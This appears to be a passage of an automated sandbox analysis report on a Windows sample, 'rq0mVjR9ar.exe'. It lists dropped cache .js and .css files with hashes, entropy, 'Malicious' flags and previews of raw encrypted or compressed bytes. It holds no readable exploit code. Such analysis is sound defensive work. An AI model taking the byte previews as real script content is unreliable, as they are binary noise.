Preview:	var F..?Os.w-5....N.5L.....4.?#.DW.R....0.Q?..%.b.....]...k#.-..6.RA..j5yZ....X8...;._>.t.....c...^..".B.......3;W..l....'.ehQ...).S..2+r.-i7 .#..Zb....o...W;..D.D...CZ.q..........7..h.y..C.#....nO.u....<....4..{..R.!,L..@.M......lR..H.....+\.'.G.nV?.,.....j..b(.....F...<.mcp{9.@-...Ti...S.J?s....4..>...K.k..N.u+...Z.u&.....l.?.;...^....:$.j..t.........%.WE .#..'.lK.._.x.V.j.i.7.>.......^]...-.YW5..D...@....."g.....i.i..C..L.\...Z..[c.<.)Z0..y...j.J..m.v...............9.... ....K_dw.".uc.O[.yI'.OL..Ev...0......P.}.........8G.X.@..0.... t.....Mm.a.fF..=\......N.....q.^...5.v.D..&..4.B.;....bf3..y.. ..^. W:Z.ej-e.V.O.._...]..wd7m..t.C..O....G\|.x.......c%._...zq.To5..".T.(.^7........B9J#....*.K.)Q..8.P@..m...H/..W=a...C..z..ft..-.S)...\|^......^..:.D8..>..:'.6:.y....H.Iv.{....5.9...B.U..,....>"ddU......g....O.....c..9.........uv....N.p&.yg`..r......!..S..A......:.4....!q.LK..#@x.'....8..).^G.....1x:...N.O8.I,..z.#x....%....i.\|...>..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16105
Entropy (8bit):	7.988750778129698
Encrypted:	false
SSDEEP:	384:ZcwAvo1wn/UKKLWNqtNC8pag+mwKY/w/mgG600ZqeM:Z6NncKKLWNqLCL6Y/w/mgD00e
MD5:	60CD1422F833D83FB22A38DF7CB793F6
SHA1:	A9043EA5B1CAFF2608CC19A500021522B4EC039C
SHA-256:	3B6DB18FEFADB1AA8A8C21C31C6DDB946A0355B375C9B572B49317B6498438D3
SHA-512:	A7C59BE27051F7615E69AC5D75C0643F543020032E95A4CE95F328321159E4098D482992EDA62F16DEBD0852EBC6A9D926B40852C2796E0183EAA896548193DB
Malicious:	false
Preview:	var W...8.W.".......A..%?...5.{.Ls..._/...SyA440...............c...D...#V...s...e..1.........#.....[0.^....@.f.l<bZ.Q_}."m..D.zq...#../.#.....p..Ez"......C..6../.l...v..Q.;b.a...:7......<.\|:C.....T32.{...r.L.3\....p&..".8..~.a..6?'h..&Q.;.....M.f'.A..E..B..W.Jx.5Q.no.}...Jc.j.}..CT+Y..O.,9...T.cP...b..]^..[.,..A.p..!..e....1Z...T.......h".M..!...6./}..5\|.A:Q..H<1.7.lLsG..E7.0..p..S..l..F<^+Z......\|.%2Gbn..W..V.-...7w..z.O.."G.\<.h..2...y./.q.Q...........e.F//j<.....H\......4...d.....<.[....gk......[..8..g....fg.~.kG..o.V...<.5...T...K..n(Z.~]......1.Bf...V......#.6I......\|LEc........ncf.-..2..E..;o....7..N....NQ..._j.S!.^..-+.^....C..w.h.P..=!d.._.ti....~...........J..g`.`....S4.C....t<xm..[c..+...H!Z3..Q.b.f......!..Q+...5.J..n...$....,..B.U.?.N.Bp6.Cp...O...[..7.?0...........m...[9`z.hPE..G8 ..v...-...,.kK....gG).O..@...Z.0-...@.&.>...\...6..p.!....Y.Rn...{..W.LW..B4r.[k....U..........M...I...1..3........=..:....]'.#.o.P.....^d.]

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	105444
Entropy (8bit):	7.998111982183715
Encrypted:	true
SSDEEP:	3072:MA18A2DW6bhq0b4nHYr7+LaJAfC/OcVU18AxHBW:Zh2xbhq0bhaLxa2cV4Fw
MD5:	016CAA2623EEFB8B8D0F904BC160949E
SHA1:	E03410F90C72D4653B12A36BEB6184887550C38B
SHA-256:	C83879CBB5C19B2039D93D130A8BC49CC29297775FD5F0FFC222B44D141CD4F8
SHA-512:	ECF383AE7040871F83FE2AA5F9E59E71589C2AFB748AF010CCC134CDC462D2BFD7DD48E0185E57CE442CBC2FFA35431C6C40F93B791548FE63F2B9E03F843681
Malicious:	true
Preview:	/! C../V.........F.@Y..[f..2..(..._..Z...t...v..0} ..k.`\.p@@....yO.[$`<..w...$c7.."...y.4.......h..P.w"....O.kc1..L......`h......0.s...0.....b..}U..Ybk(.W.....6U^....y.m$...W.g1>.3F..;.......d .}....d..".=P&i.w..O.D.W.$k.f...Y....]..?.......&..l.....Z....i... ..o..R:.....D...7`H..V.P.,.x...>._VG...6...F..3..\|>...V.6Q.:.l9..\....!F{UXO.<...-..$l.w...F..IP...d.T.:.K.^u..5...........f..{D3....W...6..$....A....o.D\Y.\|&.......B0..{..QP..n%5..o]o..-$.-8-...."..B. ...[;..\|.3....m.h.NR....O..Qt..{..d.. .T...j...~2E...G<y....^.j.~m...c`......#f6.oX,%.b..4.B.n.-.5..V...t....D..l......-a.....>.^....Tb8....zx2")..3...ts..../f.G.`D...Ef~.....F...r...Vm.. .2.V.....k`.l.....k9".MD..y..8o.%.....%.(.!H...31...............5...2g8..."..i.1.f....nl......K.}..#.F_zO.~.]..$4. (..P".w{.:UJ.....t..L...W.5..6.\.%....,ffg.5....O.......^..b...w{...u.[..m...C8..!j\k....d..z.\.....a..J.r<iG:....X+...c5.(n....8p.p...c..r.y.U..^k....C..+....=.,W.c.r....+S..+jM^.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\N1a_FY8_9YTjAb9nKlOpaAAvPEs.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	14501
Entropy (8bit):	7.9876998159416965
Encrypted:	false
SSDEEP:	192:C5W8si7b38ZqaogczUc7K/ls7J4ntcXc/5E8fBv0KVelifeWABUIdOATeWKf5LLW:yNb3cog+2i1QoMeEfZCQZLf5I83a
MD5:	009C67F75337B7AABC8CD973B4922894
SHA1:	213FED1DD3EFD8E5CDA915DC7AD0B92AC0D008C7
SHA-256:	F7E1DE4BA0ECC2E14EDE0D8B5BA4278F53372CE7BB20B06E90154978BFC283C6
SHA-512:	76F8FB9ED331D84DECF1300E13EDDA5A9CDCC2A2AB0DBFA9C85F99F878887FD828DCC29EC957AE5D69CF85E1AAC347291CEA31E19D6A9EC2B5C5F00377D24434
Malicious:	false
Preview:	var W.....r:.m.K.........X....]-_,.......+....pm.....A....x.........l..S%<...4k.v.....Q.C...;.o........S.M/.7..].7....;.o.....9....-..!RPC}......A..I~.O..\....CoHQDd.t..B......Zc..+.g.^Aq.'j.z.SP:.>...o...i.JxW....8...3k.w...!....>/]$.@1.c.../}..,..`.e.o7.e.p...y...q...?.\..L....eGSS.v......\|..U.7f;...i."..arG$........\|....M.v..%L......S..`A].n..p.p..<<.....T.'....b.:.~.+6w..D...TP.B\|.@...{.h.38N.^...+sW.r.......e..^..3p.Lp.&L."q.....y..i.[...6.....(.&Ri=.M.`....F!..l.TE.&r....S.!...8.J.4.. ..B.I...)..?...i52..W....z..yN.Q.M&....%7..<g.....`....k(..9..>$.&.(...`.&\...dv..{.f@..;.]}=n\|P.w....W...9..s......)[.P...R.Ey..Y.Ri.1Z...D;.. Xw.................M!..R.L...bP..S...%.l.V.9.XO._..]...^....F&U.p.o.......M..k..........G..\n}.......l.....?9...4./..AHc..H>.d~...A...=...b..1.R.H.40B...~.^.]...@........c..W.J:..k...J.).P..=.%....."..p.......$....>......=.#..i}o...i.R....qQA..\|.yek8.....m.......U....K.V#.....o4...I3R%..b...(.<.S.)...e]Z.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.19323929225763
Encrypted:	false
SSDEEP:	6:jAnFQhzLjjkcKrcGmViubOVUFJLBIPcLrTDbpFdpc/xDIVjGxssZacii96Z:8nFQZVjNb6UF02rvVm/gixpZacii9a
MD5:	4BB146303C258A6CDC32F19774AE6B30
SHA1:	E811C6A69F918F83C75222A8C323A8F43AD1676B
SHA-256:	4D12D14D279240323FE231E77B6AA28D4C070E7336F6463448FB582CD4B5D48C
SHA-512:	77DEBCCDFA488BE28A23B62C7B96EB5DFE125262AF81C4129D74EDF88EF87EC166EFF9ACBECCA7EAAF6D79F63F7B0F678E5E39864B90367E11DAB25D7414AB7E
Malicious:	false
Preview:	z{a:1.]..A.....N{..2.......l......S..g...ep....?^W.......M....,.....(km....L.P3...8{....~...../I..?...l\|..F...*7.C....p0...M....-......J.z.m.....8..zc...T....8....;'.Ex.-EO.9.p%y.D.'%x...$.=.......oS.%p..............H.....[F\|.sU...4..a..&Vj..'P%r.^.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\QOGkmcG8R0fLT0lwbpvm9BNIUiY.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.93900198798632
Encrypted:	false
SSDEEP:	96:E8D9jrBr30C92emSQKoIS/pWSwvQUr6fyut:E8pjrJ30C9xmSQKbS/TwvYfR
MD5:	08F2BC823988EBF6A02B4410376348D5
SHA1:	80D3C5D488D6E59F7758408F9CD978DB50C3A670
SHA-256:	32DA652A3B9075DF87E1393BD020E26B33D414CACB7F5841E19834D7B6566AB4
SHA-512:	7B2CBB702BA6ED842916DDD079E641D460F25AC4BF560E57040206734BF9352F5F5A3004D2D9D045F4B3BC98194CB56E348259D09D9757E0BB5F8F1C79B8A887
Malicious:	false
Preview:	var W,....9...g..K....!S.}6T..#B..w75..3.;...e.@.;...j%LXs.x.0.hx.9.....6<.....ZS...._.j.....g..@#;....mm?...A.z.4{.w}....=..V8.I9..p...~Et......1.>.DH..-...Uf:...gY...=.......u....5FM.>;.s..pG{.h....).i.uiN..j.\|.r&.G`......'......b.....pKJ\|.F..W..L........7.[...6..jsDV .}aM..b.......~EC.[...[Z.\.$.E.Mwu`.J..=......d...G.R..8...:....\0.pR5@6].....x.....Z....a..6.}@pj..h....cP.K...;M..!.....U.@.@.......o..@.g....z..2..=t....A..fLj...:.d.v........?.....A.3..M...U.6.::.K.....j..7(.n...]./...$.[.C-.....`dX.....'.6}0..K....ggCr.U5).J..t....A`Bz.7...P..[.....aGg..U/.^D.r../...... ...L.8..dx......_c..-....mc..4}..%....s%[.'..HQ?......4Al.%,.z_..u.8 y.~.[.j....C.'.>.....j'.A.fU...pB;..+.F...... 1...a...<.....{.......=....~.2.....-..P...........t..\=k.(uTQw.........v.B...E.6.V.#..b...........yv.9..\.....f.0kSu....n....\|../.B.&`........,..!.[...(...v...........=..0.......w...r....gP-.,.<.3....5..k#..(...5,9D...G.....G.%..6..'".......u...,..4....^.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\U7NyqzPRBLq0g0Z9QPSKxnaembc.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	11147
Entropy (8bit):	7.983040989468956
Encrypted:	false
SSDEEP:	192:tv9CHFPFf8GnI74Eb90j3wahJtbM0nLL0SMJ68Un8K06P/UomAeh9bu:tv9E9J8GnrEuD7bM0nLL0NJ88K0Uufhs
MD5:	F0B0BF9C919272304358517206D96D98
SHA1:	276BD501E4D0133C8AF573C7893C925D3314E215
SHA-256:	64822EF42FCF8D053DAD3E4049868A7D302B881B726BC293855D60007FFBC633
SHA-512:	AAF1AF21A82D949F0959EDB0C86E244EBF18A46600497FC1A73A6D693677AD3773E8777390A5F57C0E564F54FB1C07F765D8203F2797D81C62E8FFB17A524616
Malicious:	false
Preview:	var Wff...Bp.A.0.P.\.Cz4...l.H.H....#..\B/..#J.Q\|..}6g,.........>.:.t..\|..U(.-...ST......kC.7.VW..2G.....U...z\...."i...BG...;.A1...d[i.x.T.V.f.~+....".....L.m..Q..g....5..L.Qc&.4../....t..A'\|...!..E-.hru. ......f..B.P.,.g..jfK.!4Z..\|D;dC.&[/U.)6..S.:.A.0$x..PI.!....n.AZ..t`2`.<.x......MI..4d..o..(I...l`u..m...$.C......N....4S..D..y....m.(....N..w..j..@~gv..W........1....N_E....7.h^..A....]..s1..d...@\|M+y.!Gd..t.\7F.#....O.M.tm..]@..M......ZqIF..bUY. L.E....7.A.J.n.\|.)% .D........=......]l.d .t.E..xs...S.....$..5X.A..t_4.Y.......}....asF.j..b\q..(.....N...>e?.#6...L..4....3.OUlW..I..I-...a...rU.f[C8{.....C......zT.u.[.b...h[@.r8+=.l.0.z.....wK2.....~Q@.L.....:u...,.....}+..s.....<.]..om4.g......P.@......U..VU...SN7....a.....f0FuD.lX.FT.ot..&`...........W.P.+&./.M..p.C....{......G......n@q.yi{..I.. JA...vB.9bd...y'c...0TK......z._jJ...CG.Y.#..g.....\|..Y....%....v.}...;..q"...f.9e..?.%.2R.n....a0..f...[......N.q.?.zn..(Q<......\\|.r.q..V.....`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\XDTV5Ztdmvo1jmUE21mPICYC5h8.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	545335
Entropy (8bit):	7.035330266853755
Encrypted:	false
SSDEEP:	12288:GmoaM/HeX+TJoaV4MYwRjMIP0dUW6cUlAvO3WWtAqyebWvTOQj:loaHrwRBP0dUW6c7OQj
MD5:	64481F49C5ACDECFE8CD22723CAC5011
SHA1:	F9A06E199238B9B2279EDBA2258ED270A1176524
SHA-256:	F38A886F0D3201BB173E01CB001CD34E1B04B27D96A10B83666A24D218091D85
SHA-512:	1CEC587342D650E3834FB1EDBD6BF163DC6D11CBC3376AF1D0EC6E541DB381C98A141274139358A9691B5F7F85DE25E924934EAE3CF916DFA56C5EF8F61B971A
Malicious:	false
Preview:	(func.r..f..V.'_.qJ.\....-...d...C......J...n..z`(...:.\|..\..U13.:.F..!.p.i..tP3qRK.4..,vS..G.0.#..X5t.....YK3y..... ...N9z.".X....W.....).Z../...@..$..R.ud?......J...y.c.(.................x..........O.K..s....&].S.]...S-..6!..F..C....p.jm`...B.......^J.;...4...?.........n#........\|.n.\|L.~...I........Q.UF]F..,.J53;....!\X.w....2.....A2Y1..=?...~.=......MU..........V........X.nJ....d..t..k...+.'.U]Xw.7M...1B..=.........o...A..I(..F.s...O..7.}..sC^......\.b.-.'K...Jl.....}z R..N...(u.@c....a7...B).`.(...bX...C.b.vO2....2X'..O.J.;.3y......fR.,V.....up.l..+....3R7..^..j!t/..{u..5.F...S..N. .A.~./ ../.......BX.... ...o.w."......#..~2S[.?.\..tZ.....8.x_.Nx.....drJ.iA..kx...tj...k..8>.T...."<.....kn.YP.,.Y...4s*.}1...Ofc......?Bim.a4_.<.y.K0#v..8.c.d..0..n....I........gr&hh.?....T......K.'.U;.rz..Q\|.R.?...!..\|r.....%n.3..=.;z .H.$..........0]v.).(.........../@..@....3>$_.!..i...#8t...........4l......UT..b.....<........W....W.@F......h:Y7.gg9.).G.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	59090
Entropy (8bit):	7.996792696622053
Encrypted:	true
SSDEEP:	1536:pgNFbZ0xrShp4sxBIU71Pfad56ldX8VDkEiNp:ChZ0kEUBniGXE4Z
MD5:	12FAABADF9EC712C43F11659887A1253
SHA1:	2D2A369B98E6D8011E8957437D122CB0FB838EAF
SHA-256:	74552F8E7F3FB20975CB0CB665ACFB8D0F97BF380B25BD250805D90DD26C60B2
SHA-512:	40036C63B7D3E29E31706D314DEBC5A89375BD66B9F8F186CC4AEBC8878892E329BC4B5C92C9E4FD56D0899E9D85504333C2FCFA9C7B40AADE598A62626D11DC
Malicious:	true
Preview:	var WHCch.Ogb.8..?........8.}[....c... f.Q...+...u.`.I......o4.X!.);.:g..+.9.[.V...K=bu...".R.n%.5..?..5D.K;..`n...Q]D...'..Y.,1.2.).(..m.........c.,B.c.g.ZY......Q...=.....7zG....eS4M.94..d$V.tj......i.G.V.ce..cj.3W.2l......4v(XMcN...6Z....o.)m...F.9;.~..Z....U..a.Z...L,v..la....o.x.%.8.s.>U.m.B...8...$. R..../.(AM.Ug..MU.....!....!+.d..%.$t<1....!..aRX...S...X.w.a.Y4......F..h=a....yM..l.....p.?..."._o{..5.0.v..^.FK..cI.......=.`. ."e.F\...2.....M...V..+.g.....QE.=j..'..X?D..RL_.q...'.m..a..Py..k...X......n.b.d{a.iq.. 8.?.e.L..\|..5[..C..o.-.....yu...)~<z...8:j%..V(g...r}v...q'`....O.3@w(.>@. ....w....T.C....Q.~Y5.Ozy....&...yo$.........uY1..4..Q_:.............d......~...ErN.mzO!.........,o..O.9....'..Z.M.....w...mB..].QI..l38.[..Z.yD..Tg...y\|)...Q+y........C.GX.z..Iv...vUF..\.0>.......]<W...NN..n...9..X....@f..`..i.H\.z#.u......Z......f..<...i."9.h.......KM.5.($.rnN.%.d..[.........5..5.]f^vTJ........3..XI.cu..-..0h4C.].C{....":....d......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	121548
Entropy (8bit):	7.998660928548407
Encrypted:	true
SSDEEP:	3072:YPUMpRH73SlSUK3kYPSnqitjoa6R920OxhTWlQLN16crj:YMy8AUdY6q6joa4iTx1p
MD5:	68D6C38E429864318C6CEE456183A890
SHA1:	7BE0ED3F7C7E6AF9AE476C3F4D39967FEB019B98
SHA-256:	E3DA8BA78976515778E9787AE88696E716FC0F76EC5FC11DDD175510F4922D4F
SHA-512:	90E95F0FA86F2637838BCF721246DF196DF23F31B8F069C26E42B2DCC1FA3416EB3FA21A05EE97A1B095D248467CC4B3E954719D26DC8B754FDF22EE66C220D5
Malicious:	true
Preview:	/!. ....].x......R...8la<....3...Z.#.X..8....e...c...z.e:..k.Hlp..{.J.z.ds..Il....9...m...O.OF.....F.Ro...f.WNe...MU.V. [..;..._..>.Z.l..W...4H.L.T.a.d.s8.pB.H....C.3..A.i.W.K.....:.b...a..{....(:K.....I3.'..."...T.8..mc.\U...JK(.h..A...0..t..@%..b..I-...p...O_p?x.b.FI\|R.1.....T.d.I$./.(.6AL.[....F\j...Z.,.......<.........p>=n!...5K[1.P..,aRF..Y..........!6c....].....C..f..l.@..K.uJ~.fu...L.57.H.}.-l.........y.........N.B..M=.4$..o....:Ju]4.;...........e..M...X.Z....jAv....o..#r..k....n.O.....R...8...V....j.p!X.i.....+..T...u..PV.5M.w........>...2....\5..P..].\31@-K..<.1..0\|.@...G...Lg.+{.[.{.(y...uC[...E.Y..9.JK(t,!. .F.....g...0......aT.....P.....UB.d>..l......-....c8/T.}.....n....&.n8d-;.1.'.}.o...F.>3{.T.......&0.45Y.e3u-K5.6...)O...G..$.6.l.4n.E?..S.........s/D..)V._-.....K....0.........]8.D`."...r S.f]...IF.....>.fN..g..~....k.lY..p........V..0&N.ME....R._.y.e,.n..O.P!.t...i....d.h1T;#.itR....z..Y...2...h.8n"...$7p.......=..<n=..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\appcache[1].man

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3484
Entropy (8bit):	7.939365875966154
Encrypted:	false
SSDEEP:	48:X2+tE5AcLmXI0xr6pWex1ILEMsY0D5N7ilq53MH2s8O+lc+J0voct236fF4cbSsp:XjVcLmJcWK119yqFSLqlXyvotYFimHX
MD5:	343D077921C0CCBFC7445608BC96CF18
SHA1:	71888FCA96B9C39A3BB4F7CE0252E27ABFCF5EBE
SHA-256:	48AECAA7C68E0ED40E00CC6579E6BAA36CB1C34362A8B01E3D2F368AD57C7228
SHA-512:	04C7231B5EBBAAB0A192ACA81167B2B5CBDB8909AAE5505EB5AF936DAF192B087B647667E9DCF3953D2851FF41BBE42D277677360BA9AF5A523C8651619CD2E5
Malicious:	false
Preview:	CACHE.a.,B....E.U. ....U.Fd.(.;.V:.u.}gjT.f.b..N.v..s...s....".X...9.t...Iy.......M];h.U>o.I.g......l.}...y..,....@..%...9....\|W'...u...Ix..;_.Q.._l..._9i......d\|..>.W....0.GA...4.d.2......yY./P.U.$...P...\.XR.@..64_.....N.... ....(......e..8U..4....y.F.........4s.[..T.W.g.......`p.f....fW...-Ii...p.I....<c....i.Q.`j.V\|..f........:....]....&..?..........b.o...f'...1..`...oN.n.....`@...uw.{v..'1M.B.....(\..I..J.W....)..Nyh.......P..M=..'.........On....)...J.B.s.z4Ge-.......,R./ob~...=.-......e..XS.Y.9Ps........ ...9R.@.N..52.......;.5..,.I.Vy.'B......T.. 8+r.....b}].w\X.x.3..H..+.t4.S;......j......}1..5f......u.......y..<?V.......z>....NG..35.E&J.......E.....c.]F..G.Ly......\N~...A.....\ybm.m.q.{.#._..........J0&.N..r....._.......'*w.V..1.....yD}..O.j.Y/FH....[2EK..{...Z.\|. .V.8.#.ptk:.......q.\|....hckC..1.'..,J..1V....s..&'.Gt..Hq....x.....;W.U..m.%7...'.....N...){.N...!8....e.......E..-...d...R..?..X..Z.S...q0=.......\H.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\axXWui3EcbJQ5EbqyMZWmTud9p8.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4070
Entropy (8bit):	7.957155931870382
Encrypted:	false
SSDEEP:	96:fxzkggJdnWSUhdFl3juRhC4uGbOA/YhvYD9JZKmSgWkcilq2F:ZY5JN+3ju1uVAN3ZvWNgR
MD5:	228EC0857E91E0D3F4C578F22ED8FF75
SHA1:	CC7DACC67CCEFEA88E843E2302C830096F744473
SHA-256:	BFEAF3E93E04675C1FA68CD3F7CF2CD370095627F649A3F952423197D384EAD7
SHA-512:	14F0A5B2398383DE057DD4672CBC13997E48670C17DA4CFCA39D0AA7D45A517C2F13A05899A6B003E8E00C2E725FAD63C8ABB937D306D9568C0124D36F85EF6A
Malicious:	false
Preview:	var W!t..C...].W.........Zq....H.j.\../..@.....$.'.T.j.c.yhx...x.....g.8..[.t..N.u.f.9.........ec.5.l..\i....S_b....i$.X..)..>V...x..g..WFT...R..Pf...;K.A...T.\|9"vP?p..s...BZ.........X..~U.qF.oOVL-.3G..V.X.....'...:........RH.#s.E.W....`1.f'..Ut.....7....v.=..qn..%..O1..;.N..Iw...="HW.z[......=....H..H..X..-...dw4=.m..F.?_.......w..iy..m...?9.W.{Q.......P..j=..fr.8....g]..(ab....s.."....j:..;STN..j..T...C.W./...p....M3../..9.......6...Xq...&N.O.cq...iw.p'.k_.4+.y..R...=.1.6_=..I.Y.9o.......da.4m....@.?%S...X6...Hp..`'..w.DS...Uy."1.p.....y...l..\.B>.....j..x.vc.+tZ5f.v..7.u0S.h..45..._..g#VG...T,.h........vg...P..~.5D.e........ ..4O.>....Og1..H".cO..P..).....+.u6...U.../....D.z.....lk..u....[.\?..y..N...m.WRe..O.... ...Q..>r",uS...+....tR..:.gg.-9p;.(.%z.f.;...._.H.a......,.qsOu..@...=.....n..W(KX.....%!2`u.....Zs.h..NS~*L..^.....-0...r. ..R.1.y..&...`.Y"..}V.0...H!....T...s[...@......L.n..d..\|.E.1./.T.2...)(..=.p.y>....2;i>.N}."A)F...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\dYw9trBOUuy7sL9xTZGIliMEagg[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	290621
Entropy (8bit):	7.203177504848726
Encrypted:	false
SSDEEP:	6144:9ejf5uhUP8qfpD3w8z6v1Na2FUGR6Cqiw5SDUCnZWHDH8HDHcHRHOHVjbUq7jdBE:99y8qxD3wbv1pWrZ8UCnZWHDH8HDHcHt
MD5:	A94FCBF767ED3B944C63E022CDF1DBB2
SHA1:	26DCDD430787A86858938DEA01963B0781B61ED6
SHA-256:	3F269519928F4AF6EAB0A7D859D76B569D0390CA914B6C536E3E4144F5DC0DFC
SHA-512:	35152210CD494D110D5DD815D6D08DA5FCA9D27EDEC9826C4CF87CDEB63D14A38D0BA4AE9C05380048900556FB5EDE6ED98CCF75FA73EF26AA8A0D7AA3E9A1E3
Malicious:	false
Preview:	#topR..S.JU.K...W.....q.;..]=A.4A...b<.......l.G...-u.\>L.S.....!.X.[P.ce..?.$..")......L..G.iGRP.m...r!.~...A.C......i'"..8.(.'......s!k...J...D.......N...a.....^.......\....`7...8.....]..sE.haX7.....hu.U....:..J#...S.F.<.[.].Z.y.p....B......a&.H.S.9..ip[.2.....#n..I....X.n..2.m$/.>....(..W.-.<.{."..4..e..EO.........%ph..f.).....Iu../...0..+..P..N..q.C^....r..'KO..D.(h....b.Pb.l.%~....^...6..S..@M.d....X..\|....C.p...XTXxR..a......M....FF....d.p.....O.S.wa....Q....[..ai..r..@\p..v.C...ZLD....B..X0.8.:HE......,{.K{cr..p..3.o.E/.....@:.P..'..ih.....p.Jn............:..1...D.. .y....bv.Z.r..O.....X.X....7ZR.."..n..&V\|b.LO.7]n..z;...)..v..e..T:&.7..5$F.,..0...Z..:[I.t...mM.2 ..#...^..V.c...#.B..o.c...;.v............^.^..>0.....N..Fz.......7...A.......G$.Wl.\|.o.... .KC.wJu.E...E..Y..(iS.2_.u0S....w...7.r..H...p..)..,hD._u....2....8...Hh.-..t..(.....}.J.:(2V..^.'..iJ....Wg..m......5..l..j..Y.}..R...=,..+..ho;v"x.%...yF..Z.m.....]Mr....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.9049325545970905
Encrypted:	false
SSDEEP:	48:jfL0trbuxcu7JM2DA2jkavWaMctJURkr2DDEqUM19BQRs+NfiD:jD0trbuSu7JhD0aJzJUir2/ElM/BJ+4
MD5:	470A6554174EEF6EA1DBA99CE6CC5E3E
SHA1:	F9DB0D07181E8DC77A60C65DBF442141E7AD6D44
SHA-256:	6347EE47D06E83ED20D851EFBD5B0F6E6C867B588346040C446244F51B9E3DC1
SHA-512:	876B7B9E87B31C5A78B749BA8A501BED9560043B6F0B35A5AB5DE7E00E59FB9E8CDD9522472D1AE75B3B85D158D1EBF7644BD1F34EBCCA9787B1743BA37B913C
Malicious:	false
Preview:	var W.NR..U..h.........fM..Z.O......T..9G...f8........b..j^t.j....O-....S.x..(.e.h.>i......a-..0ot.-Y.....F95V.4G.~B9I.2..`.F..b.>.:..(....h.w....-...D..TB.........Qtt....E'8 ....P..o..R...-%.....F.:Oh.]...O...4.9..R../f.!/..}......ZU.Iz.'e..g...m4.......ePq...................q......Pw..0......=H2.......U\|..E`.T6..C......E.%..y.....G.C([..{.......3..}}U..v",..C.....5F........a..'...D..J.s......T....x'./.Am....Eq:.. ..YQ.H...e...A.O......s;>.D..S+.!...Y....t.+ f....Q.....s.G.H:v.9.g.....2...3 ..Ci-.j.h......j......[y.....".WZ..P...>.....g,i(.S[).N.4r...$Z....>Y`.AF.G.lI..l q.B+.(...L..U...d...".....9....2$.L+....t.Os........[>..Z..")O..\|.....C...r.....x;......^..=...> ?..v...qZ.g.....N.'0.,.V...K.......0..dh65...(...2....-.c!.M.T2..A......[..2.G.e.20..4S!gBZ8...v}......:\....>..#3wXn.L....q=.}.[..YpG....YU.Sc+g$....@..#...a.~..C...B'4..p.....L...:...HA....x0$L../A..).....MR..R..H...3pQ4m..0.)YtU...a.o.8...a....gY.t..;{d.}..M...R/

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\hAbWEdFpz7sABSGHo92EV1SPXRQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	172728
Entropy (8bit):	7.9483412038695676
Encrypted:	false
SSDEEP:	3072:5ufRJslDYJ0X+QyzF8td8D91iWr2RlD1LWW3RWL5i26/utuIQ2lOtdC+YHnmRAsb:kfRiDG0uLiWrulDVWEI5L6/L24CFHmRN
MD5:	47B8A698C81B922CB54BCF4C7F9C4135
SHA1:	612C6856EAA36BE61C26619E37715126A9F82214
